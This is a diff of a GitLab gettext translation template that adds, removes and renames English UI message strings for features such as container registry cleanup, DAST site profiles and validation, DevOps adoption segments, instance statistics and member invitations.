msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
